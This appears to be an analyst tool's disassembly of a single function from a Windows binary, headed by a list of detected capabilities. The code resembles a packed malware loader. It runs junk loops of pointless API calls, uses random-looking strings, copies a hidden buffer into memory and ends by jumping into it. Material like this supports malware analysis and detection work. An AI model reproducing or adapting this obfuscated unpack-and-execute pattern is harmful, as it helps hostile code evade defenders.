Function at 0x427b8e
Capabilities:
Check for software breakpoints
Copy file
Get common file path
Move file
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2524
call fcn.0040f220
mov eax, dword [0x42d004]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x427bb2
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x365ea9e0
jge 0x427c0f
cmp dword [0x430fb8], 0xc31
jne 0x427bdb
and dword [ebp - 0x64], 0
push 0
push 0
push 0
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], 0x925f9c4
jle 0x427c0d
cmp dword [0x430fb8], 0xa
jne 0x427c0b
lea eax, [ebp - 0x6c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFile]
jmp 0x427c0f
jmp 0x427bab
and dword [ebp - 0x70], 0
jmp 0x427c1c
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x5f6c74
jge 0x427c3a
cmp dword [ebp - 0x70], 0x562d05
jne 0x427c38
mov eax, dword [0x42dfe8]
mov dword [0x430fbc], eax
jmp 0x427c15
cmp dword [0x430fb8], 0x7c
jne 0x427d02
push 0
lea eax, [ebp - 0x870]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
and dword [ebp - 0x8a4], 0
push 0x2e
push 0
lea eax, [ebp - 0x8a0]
push eax
call fcn.0040cfa0
add esp, 0xc
push 0
lea eax, [ebp - 0x8a4]
push eax
push str.fahubarocuvuvejegovimisiwu
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
push 0
push 0
push 0
push str.gijarudomuki
push str.gebacalace
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
cmp dword [0x430fb8], 0x2d
jne 0x427cd8
lea eax, [ebp - 0x8bc]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
cmp dword [0x430fb8], 0x54
jne 0x427ce9
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x42ae46
push 0x42f7d0
call fcn.00401129
pop ecx
pop ecx
push 0
call fcn.00401615
pop ecx
cmp dword [0x430fb8], 0x110a
jne 0x427e86
and dword [0x4302c0], 0
and dword [0x4302c4], 0
cmp dword [0x430fb8], 0xcc
jne 0x427d4e
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x42fa44], 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea eax, [ebp - 0x8c4]
push eax
lea eax, [ebp - 0x24c8]
push eax
push str.lumejasurinisomekep
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push str.wevisodomasamonacocidazegoluhocirakuduciwekunasigilamepidepiyupiwowazovopejibokewizi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
lea eax, [ebp - 0x10c8]
push eax
push str.zituvehaziyepilegeyehezesekemidelapuzayuzajebivironemus
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0
push 0
call fcn.0040143c
pop ecx
pop ecx
push 0x42af90
push str.0__f
push 0x42f7d0
call fcn.00401359
add esp, 0xc
push 0
push 0
call fcn.0040165a
pop ecx
pop ecx
push 0
push 0
call fcn.0040143c
pop ecx
pop ecx
push str.0__s__d__f
call fcn.00401502
pop ecx
mov eax, dword [0x42afa8]
mov dword [ebp - 0x1cc8], eax
push 0x7fc
push 0
lea eax, [ebp - 0x1cc4]
push eax
call fcn.0040cfa0
add esp, 0xc
lea eax, [ebp - 0x14c8]
mov dword [ebp - 0x8c0], eax
push dword [ebp - 0x8c0]
lea eax, [ebp - 0x1cc8]
push eax
push 0
push 0x42f7d0
call fcn.00401129
add esp, 0x10
push 0
push 0
call fcn.0040143c
pop ecx
pop ecx
push 0
push 0
call fcn.00401578
pop ecx
pop ecx
call fcn.00427856
and dword [ebp - 0x24d0], 0
jmp 0x427ea1
mov eax, dword [ebp - 0x24d0]
inc eax
mov dword [ebp - 0x24d0], eax
mov eax, dword [ebp - 0x24d0]
cmp eax, dword [0x430fb8]
jae 0x427f07
mov eax, dword [0x430fbc]
mov dword [ebp - 0x24d4], eax
mov eax, 0xa231
add dword [ebp - 0x24d4], eax
mov eax, dword [0x42fcd0]
add eax, dword [ebp - 0x24d0]
mov ecx, dword [ebp - 0x24d4]
add ecx, dword [ebp - 0x24d0]
mov cl, byte [ecx]
mov byte [eax], cl
cmp dword [0x430fb8], 0x5ab
jne 0x427f05
lea eax, [ebp - 0x24f0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
jmp 0x427e94
call fcn.00427918
call fcn.0042786b
push 0x42dff0
call fcn.00427ae2
pop ecx
and dword [ebp - 0x24f4], 0
jmp 0x427f32
mov eax, dword [ebp - 0x24f4]
inc eax
mov dword [ebp - 0x24f4], eax
cmp dword [ebp - 0x24f4], 0x15a63d
jge 0x427f5b
cmp dword [ebp - 0x24f4], 0xbd9cb
jne 0x427f59
mov eax, dword [0x42fcd0]
add eax, 0
mov dword [0x42fcd0], eax
jmp 0x427f25
and dword [ebp - 0x24f8], 0
jmp 0x427f71
mov eax, dword [ebp - 0x24f8]
inc eax
mov dword [ebp - 0x24f8], eax
cmp dword [ebp - 0x24f8], 0x6f479f
jge 0x427fc2
cmp dword [0x430fb8], 0xbf9
jne 0x427f91
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov dword [0x42fcdc], 0x8e55e61a
cmp dword [0x430fb8], 0xbc
jne 0x427fc0
push 0
push str.xelaledovutihezebuyaxadecetezav
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
jmp 0x427f64
jmp dword [0x42fcd0]